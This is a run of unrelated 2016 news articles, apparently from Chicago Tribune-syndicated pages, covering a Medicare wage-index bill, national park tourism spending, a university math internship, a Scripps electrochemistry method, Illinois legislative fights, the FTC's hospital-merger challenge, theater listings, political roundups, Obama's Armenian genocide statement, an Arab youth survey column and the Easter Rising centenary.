The Fair Medicare Hospital Payments Act of 2016 (S. 2832)  which is co-sponsored by Senators Johnny Isakson (R-Ga.), Alexander, Mark Warner (D-Va.), Sherrod Brown (D-Ohio), Jeff Sessions (R-Al.) and Tim Kaine (D-Va.)  would protect hospitals in states like Tennessee from increasingly lower compensation for the services they provide by establishing a national floor for the Medicare Area Wage Index (AWI), set at 0.874, meaning many Tennessee hospitals would see an increase in their Medicare reimbursements.
A new National Park Service report shows that the 1,002,373 visitors to Chickamauga and Chattanooga National Military Park in 2015 spent $63,192,300 in communities near the park. That spending supported 979 jobs in the local area and had a cumulative benefit to the local economy of $77,644,700.Chickamauga and Chattanooga National Military Park welcomes visitors from across the countryand around the world, said Park Superintendent Brad Bennett. We are delighted to share the storyof this place and the experiences it provides.We also feature the park as a way to introduce ourvisitors to this part of the country and all that it offers. National park tourism is a significant driver in the national economy, returning $10 for every $1 invested in the National Park Service, and its a big factor in our local economy as well. We appreciate the partnership and support of our neighbors and are glad to be able to give back by helping to sustain local communities.The peer-reviewed visitor spending analysis was conducted by economists Catherine CullinaneThomas of the U.S. Geological Survey and Lynne Koontz of the National Park Service. The reportshows $16.9 billion of direct spending by 307.2 million park visitors in communities within 60 miles of a national park. This spending supported 295,000 jobs nationally; 252,000 of those jobs are found in these gateway communities. The cumulative benefit to the U.S. economy was $32 billion.According to the 2015 report, most park visitor spending was for lodging (31.1 percent) followed byfood and beverages (20.2 percent), gas and oil (11.8 percent), admissions and fees (10.2 percent)and souvenirs and other expenses (9.8 percent).To download the report visit go.nps.gov/vse For more information about Chickamauga and Chattanooga National Military Park, contact the Chickamauga Battlefield Visitor Center at 706-866-9241, the Lookout Mountain Battlefield Visitor Center at 423-821-7786, or visit the parks website at www.nps.gov/chch
Students within the mathematics department at Lee University will now have an opportunity to take their knowledge beyond the classroom and apply it to real-world situations, thanks to a new partnership established between Lees internship program and Olin Corporation.

The partnership allows interns from Lee to participate in Olins Business Analysis Group, providing an opportunity to apply their mathematics skills in a non-academic setting.



We are very pleased with this partnership, said Caroline Maher-Boulis, director of the internship program. Olin invests significantly in the education of young people in our community, and we hope that we can form similar partnerships with other corporations and businesses.



Mesa Williams and Chanda Hughes are two students currently interning with Olin who are using this experience to help them gain professional skills and an understanding of the corporate work environment before they graduate.



Interning at Olin this semester has been a great experience, said Ms. Williams. It has helped make me a well-rounded mathematician and has increased my interest in 'big data' projects in industry. This is definitely an experience that will influence my future career.

The internship program for math majors is an integrated learning experience that allows them to apply their classroom knowledge, skills, and ethical considerations to real projects in the corporate world.

The first component of the internship is a one-credit course that provides students with knowledge beyond that offered in traditional math classes, including technical and personal skills that are required in the workplace.

After finishing the course, students enter the second component by participating in a non-academic professional internship with a local, national, or international company. Supervisors within the company guide and evaluate the students throughout the internship. At the end of the semester, students present their findings and recommendations to company officials, growing their confidence and communications skills. Upon successful completion of the internship, students receive two academic credit hours.

The third component of the program is community service. Students are required to visit with middle- and high-school students and share the importance of mathematics, as well as encourage the students to study the subject with future career goals in mind.

According to Ms. Maher-Boulis, math graduates have traditionally sought more academic jobs, such as teaching or doing research. Internships expose students to a myriad of job opportunities, such as data analysts, quality control managers, software design engineers, and aerospace mathematicians, among others.

Lee professors and administrators hope the program not only provides students with opportunities to develop workplace and technical skills that are sought after by industry leaders, but also raises students awareness of non-academic career options.



We are very excited for the opportunity to collaborate with superb industry leaders such as Olin Corporation in providing experiential learning for our students, said Dr. Sheila Cornea, director of Lees Center for Calling & Career. The integration of advanced science and math curriculum and the practical application of their learning through our partnerships positions Lee University graduates as pacesetters in science and math careers.



In November 2015, the mathematics division at Lee hosted an Internship Mathematics Program (IMP) luncheon to introduce the program to businesses and schools in the surrounding area. John McIntosh, executive vice president of Olin and president of Chemicals and Ammunition, was eager to partner with the university.

Olin strives to be an active and responsible citizen of each community we touch, said Steve Keenan, director of Strategic Analysis. Olin jumped at this chance to partner with Lee University and couldnt be happier with the passion, commitment and insights we have seen in these fine Lee students. We hope to expand this program across other Olin departments, as well as other Lee University disciplines of study.
Scripps Research Institute chemists Phil Baran (left) and Evan Horn pose in front of an electric car, whose principles of sustainable transport pertain to the sustainable chemistry in the Baran lab's new electrochemical allylic oxidation reaction, which eliminates toxic chemicals from a widely employed chemical process.

Scientists at The Scripps Research Institute (TSRI) have found a new and better way to achieve a chemical reaction that is used widely in the pharmaceutical as well as flavor and fragrance industries.

Traditional methods of "allylic oxidation" typically employ toxic and/or expensive reagents such as chromium, ruthenium or selenium. That largely prevents the reaction from being used at industrial scales, for example to manufacture pharmaceuticals. By contrast, the TSRI chemists' new method is easily scalable: It uses only inexpensive, safe chemicals, along with old-fashioned electrochemistry--driving a reaction with an electric current.

"Turns out one of the best reagents you can buy is sitting in your wall socket," said principal investigator Phil Baran, the Darlene Shiley Professor of Chemistry at TSRI.

In collaboration with pharmaceutical chemists at Bristol-Myers Squibb and China-based Asymchem Life Science, Baran and his team demonstrated the value of the new technique by using it to make more than 40 sought-after compounds--much more cheaply, cleanly and scalable than existing methods allow.

"The scope of the reaction is just phenomenal, it's super easy to do, and the overall improvement in environmental sustainability is dramatic," said Baran.

Just a Little Oxygen

Allylic oxidation reactions essentially attach an oxygen to a carbon within a cluster of atoms called an allyl group--a common feature on organic molecules. The addition of that one oxygen atom can bring about a major change in the properties of the overall molecule, and thus allylic oxidation is used throughout chemistry, sometimes to improve the properties of an existing compound and sometimes to enable the synthesis of a compound otherwise obtainable only from plants.

Because the vast majority of previously published allylic oxidation reactions employ reagents that are either toxic or expensive, or both, they have been almost entirely restricted to small-scale applications for which the toxic waste load is easily manageable.

Several years ago, Baran and his laboratory set out to find a cheaper and more environmentally friendly way to perform allylic oxidations, so they could be useful on larger scales. The team's initial literature search led them to a relatively obscure electrochemistry-based method published by Japanese researchers in 1985. That method had far too low a yield to be useful on its own, but it pointed the way to a better method, for it didn't require as many of the problematic reagents used in other allylic oxidations.

Current from a Simple Battery

After extensive experimentation, Baran and his colleagues, including co-lead authors Research Associate Evan J. Horn and graduate student Brandon R. Rosen, developed a new electrochemistry-based method in which all the reagents and other setup details are relatively simple, inexpensive and environmentally friendly.

The electrodes used to transmit current through the reaction vessel are made of vitreous carbon and cost just a few dollars each. The oxygen source is not pure O2 gas--which tends to create a fire/explosion hazard at industrial scales--but a widely available liquid oxidant, tert-butyl hydroperoxide. The base and solvent are pyridine and acetone, both cheap and ubiquitous in chemistry labs. The electrochemical mediator, which assists in removing hydrogen atoms from the original molecules to make way for oxygens, is derived in one step from a non-toxic, cheap and widely available flame retardant. The electric current is regulated by a potentiostat, which in turn can be controlled by a laptop; the current source is a simple battery.

"You could use a lantern battery or even a car battery if you wanted," Baran said.

Baran and his colleagues initially demonstrated the new method by employing allylic oxidations to modify several compounds of interest to Bristol-Myers Squibb (BMS), which has an ongoing research collaboration with the Baran laboratory.

He and his TSRI team then demonstrated the method on more than a dozen compounds broadly known as terpenes--of great interest to chemists in the pharma industry and elsewhere.

"Among other things we used the method to make some terpene natural products," said Horn. "A few of these related to medicinal chemistry, but we also made some compounds that are important for the flavor and fragrance industry--stuff that smells real nice."

One reaction yielded the hard-to-obtain nootkatone, a natural compound that helps give grapefruits their flavor and also appears to be a safe insecticide.

Striking Improvements

In nearly all of these demonstrations, the new method's advantages over prior methods--better yields, safer and cheaper reagents--were striking.

"For one oxidation, the prior method required a chromium reagent in a 15 to one ratio with the compound to be oxidized, yet we were able to accomplish the same transformation with electricity and a cheap, safe, industrial oxidant and no chromium," said Rosen.

Chemists at Asymchem Life Science, a process-oriented contract research organization with an interest in electrochemistry, performed one demonstration reaction at a medium, 100-gram scale and proved its simplicity and robustness by using a simple hardware-store bucket for their reaction vessel. "Doing that with a traditional chromium or ruthenium reagent would have generated far too much toxic waste," Baran said.

Baran and his group at TSRI are following up this research by exploring possible fragrance- and flavor-related applications, and are also collaborating with BMS and Asymchem to develop electrochemistry-based methods for reactions beyond allylic oxidation.

"Our hope," said Baran, "is that 10 years from now, at companies like BMS medicinal chemists and process chemists will routinely employ electrochemistry--and will all have potentiostats at their hoods, next to their stirring plates."
SPRINGFIELD  Few ideas have as much political currency among rank-and-file lawmakers in Illinois as eliminating the lieutenant governors office.

With no specific duties, the deputy executive is often seen as an excess. Previous officeholders have departed in the middle of their terms, and some have even run for the office while promising to eliminate it.

But legislators in the General Assembly sent mixed messages about the concept this week, approving it in the House while rejecting it in the Senate, scrambling traditional party lines and all but guaranteeing voters wont have a chance to weigh in on it any time in the near future.

Both proposals would have given voters the chance to eliminate the office and save an estimated $1.6 million each year. It also would have made the sitting attorney general next-in-line for the governors office if he or she was impeached, died in office or was otherwise unable to perform the duties of office.

That succession issue turned out to be a poison pill for some Republicans in both chambers.

Sen. Matthew J. Murphy, a Republican from Palatine, reminded colleagues on Thursday that he ran for lieutenant governor in 2010 on the platform of eliminating the office. I had some people tell me thats why I lost, he quipped to colleagues.

He said he still wants to get rid of the office, but the proposal should ensure that the party holding the governors office is the party that maintains the office.

You could very easily get rid of the lieutenant governors office without concern if you could address succession, Murphy said. When the people elect somebody of one party, they expect that those general principles and governing philosophy is whats going to govern the state for the four years.

Sen. Tom Cullerton, a Villa Park Democrat who sponsored the idea, said he proposed the same idea a year and a half ago and nobody complained about how it dealt with succession back then.

This idea has been bantered around this chamber and this capitol for years, he said. And everybody campaigns on saying this needs to happen. Yet now Im hearing more and more reasons for another thing that should change not to change.

The measure, Senate Joint Resolution Constitutional Amendment 29, failed by a 28-21 vote.

This morning, the Republican sponsor of a similar idea in the House got into a tiff with a GOP colleague about it.

Sensing pockets of opposition, Rep. David McSweeney, a Barrington Republican who sponsored the same bill in 2013, raised his voice to point out the lieutenant governors office is continuing to get funding despite the fact that some agencies are not.

While social services are getting decimated in this state, the lieutenant governors employees are getting paid without an appropriation, he shouted toward Rep. Peter C. Breen, a Lombard Republican who had been quizzing him about the proposal.

Representative, you know, theres no need to shout, Breen responded.

Breen said later that lawmakers only recently voted to have the governor and lieutenant governor run as a team during elections, like the president and vice president, and Gov. Bruce Rauners selection of Evelyn Sanguinetti had been a positive development.

He said the lieutenant governor is uniquely situated to be an ambassador for the states government if the governor is traveling or otherwise occupied.

You have your first Latina lieutenant governor and you actually see her taking on independent responsibilities that are really the beginning of an exploration of what a lieutenant governor can actually do in this state, Breen said.

And whether youre a Republican or a Democrat, the governor and lieutenant governor are now, going forward, are actually able to be more of a team.

On the other hand, McSweeney found support among some Democrats, including Rep. Jack D. Franks of Marengo, who said the only reason Republicans dont support the idea now is that Republicans control the governor and lieutenant governors office, but not the attorney generals office.

Lets not kid ourselves, this will not pass in the Senate. We saw yesterday a bunch of hypocrites who not only sponsored and voted for this bill years ago, but went through a series of gymnastics to justify their pathetic flip-flop, Franks said.

Now, the only thing that changed was the party that controlled the office. A couple years ago, it was a great idea when a Democrat had it. But this year, all of a sudden, its just an awful idea when a Republican has it.

He said later that he was in favor of the bill because the only job description I can think of for the lieutenant governor is to wake up in the morning, read the obituaries, and see if they won the lottery.

The measure, House Joint Resolution Constitutional Amendment 5, passed with a 95-10 vote.
The Federal Trade Commission's effort to block the merger of two large Chicago-area hospital systems has provided a rare insider's look at the region's health care industry.

The picture reveals an industry in a state of flux and seemingly full of contradictions. Traditional lines between insurance companies and hospitals are being blurred. Competition is more intense than ever but collaboration is necessary. It's like a high school social where everyone is dancing with everyone but jealousy fills the gym.

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Whether all the changes will result in lower costs and improved quality for consumers remains to be seen. Hospitals are merging, buying physician practices and opening walk-in clinics to increase the number of patients they treat and provide more cost-effective care. Yet, employer-sponsored health insurance premiums have gone up an average of 5 percent a year in the last decade and deductibles have increased faster than that. In the Affordable Care Act insurance marketplace in Illinois, premiums rose 20 to 30 percent last year.

Advocate Health Care and NorthShore University HealthSystem say the goal of their merger, opposed by the FTC, is to reduce consumer health care spending by introducing a new insurance policy whose premium would be 10 percent less than the cheapest existing health plan on the market.

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But the commission says the deal would harm consumers by reducing hospital competition in the northern suburbs. The agency also criticizes the proposed Advocate-NorthShore health plan because consumers would have to give up choice of doctors and hospitals in exchange for discounted premiums.

At the end of the day, though, what patients care about is how well their doctors are taking care of them, as one health care quality expert testified during the seven-day court hearing that ended this week. A ruling isn't expected until June at the earliest.

Sometimes lost in the hospital merger frenzy is how the consolidation will improve the health of patients. Indeed, the FTC and the health systems spent more time in court examining hospital economics than hospital quality. Three economic experts testified versus two quality experts. Advocate's attorney spent only 15 minutes interviewing the hospital's own quality expert.

Health insurers have long talked about changing the way they pay for care, but there have been few tangible signs of just how enthusiastically hospitals and doctors embrace the alternatives. Insurers want to move away from the traditional approach of basing payments on the number of tests and procedures performed, so-called fee-for-service, and reward providers for improving care and lowering costs.

There are several payment arrangements with varying degrees of financial risk for hospitals and doctors. NorthShore still prefers fee-for-service insurance contracts, with more than 90 percent of its $2 billion in revenue coming from such arrangements.

Advocate takes more financial risk. It was one of the first health systems to form a so-called accountable care organization, or ACO, with Blue Cross and Blue Shield of Illinois where it shares some of the savings if it can manage patients' health for less money. The program, which has about 200,000 Blue Cross members, has been a success, according to Dr. Lee Sacks, Advocate's chief medical officer.

"Little did we dream that we actually were able to reduce year over year the total cost of care," Sacks testified. "And our costs in 2015 are below what they were for comparable patients back in 2010."

In 2012, Advocate also started participating in a shared-savings pact with Medicare, the government insurance program for the elderly. But its performance in the first year was average among all the ACOs and in the second year Advocate did worse than the national average, said Dr. Ashish Jha, director of the Harvard Global Health Institute, who testified as a quality expert for the FTC.

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Despite some bumps, Advocate continues to take on more risk in its contracts with private insurers. According to Sacks, the system has shared-savings agreements with Aetna, Cigna and UnitedHealthcare. Advocate also has insurance contracts where it receives a fixed monthly fee per patient, rather than a payment per service provided. In such contracts, Advocate has financial risk for unexpected medical care, which is a big incentive to doctors to prevent people from becoming ill, Sacks said.

Despite differences in NorthShore's and Advocate's business models, NorthShore performs as well as Advocate on nationally recognized efficiency and quality measures published by Medicare, according to Jha.

"So I put all of this together and I say, I'm not seeing evidence that Advocate is better than NorthShore; that NorthShore needs Advocate to get better," Jha testified. "I look at this and I say, maybe they're comparable, maybe NorthShore is a little bit better."

As insurance payment models evolve, one of the biggest concerns for hospitals and doctors is when patients leave their health systems to receive care from competitors. It's hard to be accountable for a group of patients, such as Advocate's ACO with Blue Cross, when your physicians and hospitals are not providing the care. The industry uses a rather cringeworthy term to describe the phenomenon: "leakage."

Sacks said in the first year of the ACO with Blue Cross, 50 percent of the patients received care outside the Advocate network. A lot of the leakage was to academic medical centers, such as Northwestern Memorial Hospital and Rush University Medical Center, Sacks said, where care is more expensive.

Leakage is one of the factors driving mergers in the hospital industry. Another way to reduce leakage is through insurance products that have limited networks of doctors and hospitals or require patients to get referrals for specialists from their primary care doctors. The latter type of product is better known as a health maintenance organization.

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HMOs have been around for decades but fell out of favor with consumers in the 1990s because they restricted choice. They are making a comeback in the Affordable Care Act exchanges, which provide coverage to individuals who shop for their own insurance, because they are cheaper than health plans that offer unlimited choice.

Advocate introduced an HMO with Blue Cross on the Illinois exchange last year and would like to offer it to Chicago-area employers. But insurers told the health system that such a plan would not be popular with employers because Advocate lacked a presence in northern suburbs along Lake Michigan, said Advocate CEO Jim Skogsbergh.

That's why the NorthShore transaction made a lot of sense, Skogsbergh added. NorthShore has four hospitals, in Evanston, Skokie, Glenview and Highland Park. Downers Grove-based Advocate is one of the largest health systems in Illinois, with 11 hospitals and a two-campus children's hospital. Its hospitals in Park Ridge and Libertyville compete with NorthShore.

Advocate also had discussed a merger with Northwestern Memorial HealthCare, Skogsbergh said. An agreement was not reached because Northwestern was not comfortable with Advocate's assumption of financial risk in its insurance contracts, Skogsbergh said.

One of Advocate's and NorthShore's biggest competitive concerns is Northwestern's growth.

Northwestern owns a hospital in Lake Forest and has several outpatient centers and physician offices in the northern suburbs, from Evanston to Libertyville. Northwestern uses the term "front doors" to describe the outpatient facilities where patients first come into the system. Those consumers are potential patients for Northwestern's hospitals.

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Northwestern is spending about $400 million to replace the aging Lake Forest Hospital, which is in one of the wealthiest enclaves in the Chicago area. Rivals seem to think some of hospital's features are excessive. One of the lighter moments during the hearing came when one of NorthShore's attorneys displayed a rendering of the new hospital that featured waterfalls.

"How many community hospitals have waterfalls?" David Dahlquist asked James Dechene, Northwestern's general counsel.

Dechene's response: "I really don't know. I mean, we would call it a water feature. This is a pond that we needed to have to keep the fire (department) happy, and we tried to make it pretty."

asachdev@tribpub.com

Twitter @ameetsachdev
The photos were in ordinary 8-by-10 frames, the sort you might buy at any department store, and they were arranged randomly, without any chronological or aesthetic order. These were not selfies, mind you, but photos taken by others of Eppie with, among dozens of famous and celebrated people, Bill Clinton, Kirk Douglas, Helen Hayes, Robert Redford, Mike Wallace, Richard Nixon and Muhammad Ali. The ones that particularly grabbed me hung side by side in the middle of the wall: Eppie getting hugged by Nelson Mandela next to a picture of her getting kissed by the man lifting her off the ground, that man being Michael Jordan.
Friday

"In the Time of the Butterflies": Based on Julia Alvarez's novel, two sisters in the Dominican Republic face a dictatorial regime in Teatro Vista's latest. Through May 22 at the Richard Christiansen Theater at the Victory Gardens Biograph, 2433 N. Lincoln Ave. 773-871-3000 and teatrovista.org

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Saturday

"The Lion in Winter": Promethean Theatre Ensemble takes on the power struggles and sibling rivalries in a royal family. Through May 21 at the Athenaeum Theatre, 2936 N. Southport Ave.; 773-935-6875 and prometheantheatre.org

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"A Splintered Soul": Polish Holocaust survivors arrive in San Francisco and struggle to survive in this drama from ARLA productions. Through May 29 at Stage 773, 1225 W. Belmont Ave.; 773-327-5252 and stage773.com

Sunday

"In the Heat of the Night": Shattered Globe Theatre presents a play about an African-American detective asked to investigate a murder in 1965 Alabama, in which he is the prime suspect. Through June 5 at Theater Wit, 1229 W. Belmont Ave.; 773-975-8150 and shatteredglobeseason.org

Tuesday

"The House of Blue Leaves": In John Guare's manic comedy, Pope John Paul VI visits a cast of zany characters in Queens, New York. Through June 18 at the Raven Theatre, 6157 N. Clark St.; 773-338-2177 and raventheatre.com

Wednesday

"Connected": Set around a campfire, the nine planets in the solar system tell the story of humankind. Through May 27 at the Flat Iron Building, 1579 N. Milwaukee Ave.; 312-226-9633 and collaboraction.org

"Dry Land": Rivendell presents a local premiere about two young swimmers set in a girls locker room. Through May 28 at Rivendell Theatre Ensemble, 5779 N. Ridge Ave.; 773-334-7728 and rivendelltheatre.org
High-ceilinged, light-filled spaces deliver a sense of spaciousness not present in Lab's earlier buildings. The best of these is a dynamically composed main lobby framed by the limestone walls of the black-box theater and perforated metal panels that sheath the theater in the round. With seats arranged meeting house-style so students look at each other, the theater enhances the school's sense of community and provides a venue for large meetings as well as musical and theatrical performances. Its acoustics are excellent, though the straight-backed chairs in its upper seating tier are uncomfortable.
Chicago Teachers Union President Karen Lewis speaks at the City Club of Chicago on April 20, 2016. (Nancy Stone / Chicago Tribune)

Welcome to Clout Street: Morning Spin, our weekday feature to catch you up with what's going on in government and politics from Chicago to Springfield.

Topspin

A day after Chicago Teachers Union President Karen Lewis made inflammatory remarks about Republican Gov. Bruce Rauner, the Illinois GOP looked to raise some money from her comments and added its own spin.

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Appearing at the City Club of Chicago, Lewis referred to Rauner as a "new ISIS recruit." Of the governor's insistence of securing a pro-business, union-weakening agenda as a condition for striking a budget deal with Democrats, Lewis said, "the things he's doing look like acts of terror on poor and working-class people."

The comments by the CTU president come as Chicago's schools face a severe budget deficit and a potential strike by teachers next month. The union also is lobbying for additional state dollars from Springfield, as is CPS, amid the 10-month budget gridlock at the Capitol.

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In the fundraising email appeal, Illinois Republican Chairman Tim Schneider, whom Rauner hand-picked for the top party post, called Lewis' comments "beyond despicable."

"Our governor was compared to a group that murders innocent children in cold blood and sells women in to slavery," Schneider said in the email.

"Stand with Gov. Rauner and tell Karen Lewis that her obscene rhetoric won't be tolerated. She must be held accountable for such grossly inappropriate statements," Schneider said. He said Lewis should "set a better example for our school children." (Rick Pearson)

What's on tap

*Mayor Rahm Emanuel is expected to attend Democratic U.S. Rep. Robin Kelly's launch of a "new federal initiative to reduce gun violence and spur economic development in urban communities."

*Gov. Rauner has no public events.

*The Illinois House and Senate are in session.

What we're writing

*Higher education funding compromise dangled, quickly yanked.

*Illinois House, Senate play political games on constitutional amendments.

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*Chicago reaches 1,000 shootings much earlier this year.

*Emanuel critic LaRaviere ousted as Lakeview school principal; Bernie Sanders calls it revenge.

*Illinois lawmakers vote to eliminate "tampon tax," expand contraceptive options

*Helmut Jahn: George Lucas wants "all or nothing" on museum design.

*U.S. Senate panel backs $100 million for Red, Purple Line revamp.

What we're reading (Prince edition)

*Tribune music critic Greg Kot's obit on the Purple One.

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*Gene Siskel's review of "Purple Rain" (the deeply flawed movie, not the perfect soundtrack).

*Prince's best song.

From the notebook

*Emanuel frowns at Lewis' Rauner ISIS comment: The mayor spent part of Thursday doing sit-down interviews with TV and radio reporters to talk about his moves on police reform task force recommendations. During his session with WLS-AM 890's Bill Cameron and WBBM-AM 780's Craig Dellimore, the mayor was asked about CTU President Lewis' comment calling the governor "the new ISIS recruit."

"I don't think anybody calling anybody names is going to get us to the place where we need to be, which is increased funding," Emanuel said.

And later, responding to a follow-up question, the mayor said: "I don't think name-calling while you're trying to work on a budget helps. I don't think name-calling while you're trying to increase revenue helps. My view is, we all have roles that require us to be responsible, act in a responsible way and remember who hired us."

Lewis responded to her critics on Twitter.

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*Obama Foundation adds money muscle: John Rogers and Michael Sacks are among the newest members of the board of the Barack Obama Foundation, the group charged with developing the Obama Presidential Center in Chicago.

Rogers, the head of Ariel Investments in Chicago, co-chaired Obama's 2009 inaugural and has been a longtime supporter and fundraiser for the president.

Sacks, chairman and CEO of GCM Grosvenor in Chicago, also has been a major donor to the president and a close ally of Mayor Rahm Emanuel, Obama's first presidential chief of staff. Sacks is vice chair of World Business Chicago, a member of Emanuel's economic council and cho-chair of Emanuel's Plan for Economic Growth and Jobs.

Together, Sacks and wife Cari have given Emanuel more than $900,000 in political donations.

Also named to the Obama Foundation board was New York businessman Robert Wolf, who has served on advisory boards involving jobs and exports roles for the president.

The three will join the current board, which includes Chairman Martin Nesbitt, J. Kevin Poorman, David Plouffe, Maya Soetoro-Ng, John Doerr, Thelma Golden and Julianna Smoot. (Rick Pearson)

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*Roll call on lieutenant governor elimination: The Illinois Senate on Thursday shot down an attempt to put a question on the November ballot asking voters if the office of lieutenant governor should be eliminated. It represented a team-up of Republicans and African-American senators.

Left unspoken by opponents was the idea that getting rid of the office means there's one less slot on statewide tickets, where political parties sometimes try to balance gender, geographic and racial considerations. Here's the roll call.

*The Sunday Spin: On this week's show, Tribune political reporter Rick Pearson's guests are WBEZ-FM political reporter Tony Arnold, Republican state Sen. Matt Murphy of Palatine and Democratic state Rep. Lou Lang of Skokie. The "Sunday Spin" airs from 7 to 9 a.m. on WGN-AM 720. Listen live here.

Follow the money

*Track campaign contribution reports in real time with this Tribune Twitter account: https://twitter.com/ILCampaignCash

Beyond Chicago

*Presidential race, Republican side: RNC leaders reject bid to rewrite convention rules.

*Presidential race, Democratic side: How primary slog is costing Cllnton.

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*Merrick confirmation issue causes GOP to hold off spending in other races.

*In Saudi visit, Obama works to calm Gulf tensions with U.S.
The members of Armenian community march in Chicago to urge the Turkish government to acknowledge the genocide on April 24, 2015. (Zbigniew Bzdak / Chicago Tribune)

WASHINGTON  President Barack Obama declined Friday to call the 1915 massacre of Armenians a genocide, breaking a key campaign promise as his presidency nears an end.

Obama, marking the upcoming Armenian Remembrance Day, called the massacre the first mass atrocity of the 20th century and a tragedy that must not be repeated. Yet he stopped short of using the word "genocide," a phrase he applied to the killings before he became president in 2009.

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"I have consistently stated my own view of what occurred in 1915, and my view has not changed," Obama said.

Armenian-American leaders have urged Obama each year to make good on a pledge he made as a candidate in 2008, when he said the U.S. government had a responsibility to recognize the attacks as genocide and vowed to do so if elected. Obama's failure to fulfill that pledge in his final annual statement on the massacre infuriated advocates and lawmakers who accused the president of outsourcing America's moral voice to Turkey, which staunchly opposes the genocide label.

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"It's a Turkish government veto over U.S. policy on the Armenian genocide," Aram Hamparian, head of the Armenian National Committee of America, said in an interview. "It's like Erdogan imposing a gag rule very publicly and an American president enforcing that gag rule." He was referring to Turkish President Recep Tayyip Erdogan.

Historians estimate that as many as 1.5 million Armenians were killed by Ottoman Turks in an event widely viewed by scholars as genocide. Turkey, a key U.S. partner and NATO ally, denies the deaths constituted genocide and says the death toll has been inflated.

Though Obama administration officials have debated using the genocide label in the past, this year's deliberations come as Obama seeks Turkey's assistance in fighting the Islamic State group  especially along Turkey's long border with Syria. The U.S. and its European partners are also counting on Erdogan to help stem the influx of migrants to Europe.

If Obama felt pressure not to offend Turkey during a critical time, he wasn't alone among world leaders. German Chancellor Angela Merkel has faced intense criticism for allowing the possible prosecution of a TV comic for writing an intentionally offensive poem about Erdogan.

Hamparian said officials from the White House's National Security Council and the Atrocities Prevention Board that Obama established told him Thursday that calling it genocide would introduce uncertainty in the region during a time when Turkey is playing a key role in a range of priorities. He said it was hypocritical for Obama to call every year for "a full, frank, and just acknowledgment of the facts" while refusing to acknowledge them himself. "It's like, 'You should do this, but I won't,'" Hamparian said.

Obama's calls for transparency about the massacre played a prominent role in his presidential campaign, held up by Obama as an example of the type of sorely needed straight talk about foreign affairs and historical events. Samantha Power, one of his key campaign surrogates and now his U.N. ambassador, issued a roughly five-minute video imploring Armenian-Americans to vote for Obama precisely because he would follow through on his promise.

Rep. Adam Schiff, the top Democrat on the House Intelligence Committee, said he was "gravely disappointed" Obama would leave office with the campaign pledge unfulfilled. Schiff has introduced legislation calling on the president to urge Turkey to fully acknowledge the genocide.

"Remaining silent in an effort to curry favor with Turkey is as morally indefensible as it will be ineffectual," Schiff said.

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The White House released Obama's annual statement on the massacre while the president was traveling in London. White House officials declined to comment on the broken campaign promise.

Associated Press
Washington  As President Obama travels this week to Saudi Arabia, here's a surprising snapshot of what young Arabs think: They're scared about the Islamic State and terrorism; they yearn for more freedom and gender equality; they fear that the Arab Spring has made life worse; and they're increasingly skeptical about the role of traditional religious values.

If these Arab reactions seem similar to what people would say in the West, maybe that's the real takeaway. Despite all the violence and extremism that plague the region, most young Arabs have sensible, modern reactions. This isn't a world apart: Arab youths hate the turmoil that's wrecking their countries and want a better, more stable life.

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This portrait of the Arab world emerges in a remarkable survey by the public relations company ASDA'A Burson-Marsteller and the polling company Penn Schoen Berland. It's actually a time-lapse photo, because this "Arab Youth Survey" has been conducted annually for the past eight years. By reading the back issues, you can see hopes rising with the Arab Spring in 2011, and then crashing against the reality of violence and disarray.

Expand Autoplay Image 1 of 8 President Barack Obama and Saudi Arabia's King Salman walk together to a meeting at Erga Palace in Riyadh, Saudi Arabia, Wednesday, April 20, 2016. (Carolyn Kaster / AP)

Let's start with this year's headlines: In face-to-face interviews with 3,500 youths in 16 countries, 77 percent of participants said they were concerned about the rise of the Islamic State and 76 percent said the group would fail in its ultimate goal of establishing a caliphate. Asked to explain why young people were attracted to the group, 24 percent cited lack of jobs, but a larger 25 percent chose the answer: "I can't explain it  I don't understand why anybody would want to join."

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One intriguing finding of this study is that Arab youths are increasingly dubious about the role of religion and traditional values. Asked if they agreed with the statement "Religion plays too big of a role in the Middle East," 52 percent said yes this year, with 61 percent of those in Arab Gulf countries, including Saudi Arabia, sharing that view.

Women's rights also get strong support: 67 percent of young Arabs said their leaders should improve the personal freedom and human rights of women. This progressive view had roughly equal support from young Arab men (66 percent) as women (68 percent). By the way, an even number of men and women were surveyed.

What kind of country do these young Arabs want to live in? The overwhelming answer in 2016, for the fifth year running, was the United Arab Emirates  a Muslim country that is increasingly open, tolerant, prosperous and adapting to the modern world.

The previous installments show how far the region has traveled over the past decade. In the 2009 and 2010 surveys, there was a yearning for democracy, with at least 90 percent of the respondents in most countries saying that "living in a democratic country" was important to them. But they still embraced a traditional world: 68 percent said their religion defined them as a person, and men were far less likely than women to support equal opportunity in the workplace. This Arab conservatism had eroded by 2014, when the percentage who agreed that "traditional values mean a lot to me" had fallen to just 54 percent from 83 percent in 2011.

The hurricane of the Tahrir Square uprising that toppled Egyptian President Hosni Mubarak in February 2011 was vividly captured by the survey. In January that year, 82 percent of Arab youth supported "traditional values." A month later, that number had fallen 11 points. Those describing their political views as liberal jumped from 20 percent in January to 51 percent the next month. Young people overwhelmingly supported the overthrow of Mubarak in Egypt and the autocratic rulers of Libya and Yemen.

The optimism and idealism of the Arab Spring were real. But so was the disillusionment that followed. The share who agreed that "Following the Arab Spring, I feel the Arab world is better off" collapsed from 72 percent in 2012 to just 36 percent in 2016. Egyptians bucked that pessimistic trend, with 61 percent still positive this year about their revolution.

Here's what I draw from this survey: Young Arabs are sadder but wiser; they want a freer, more modern life; and they're skeptical about easy answers from religion or democratic elections. They know they're in a long transition, and they've become more pessimistic, but they still affirm in each survey, "Our best days are ahead of us."

A simple summary: Don't give up on the Arabs. They're living through hell, but they want the same modern, secure world that most people do.

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David Ignatius is a Washington Post opinion writer.

davidignatius@washpost.com

Washington Post Writers Group
The Rising of 1916 has a special place in Irish memory. Last month, on Easter Sunday, a quarter of a million people gathered in Dublin for a parade marking the 100th anniversary of the so-called Easter rebellion (which actually began on a Monday, April 24). At this year's commemoration, Irish President Michael Higgins extolled the rebels' "generous social and political vision, one that can still inspire us today."

Note: The British ambassador was there. Last year, the government in London said, "Her Majesty's government is committed to working closely with the Irish government during the decade of centenaries marking the events of 1912 to 1922 to promote a greater understanding of our shared history, and to do so in a spirit of historical accuracy, mutual respect, inclusiveness and reconciliation."

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The atmosphere was peaceful enough to obscure how much hatred and brutality the conflict once engendered  notably, during the rising. The episode was a major step on the path to the independent, modern nation that Ireland has become  part of a historical process that now looks natural and necessary. But it didn't look like it at the time.

It took place during World War I, while the government of Britain, which ruled Ireland, was occupied fighting Germany. It dramatized an old adage: "England's difficulty is Ireland's opportunity."

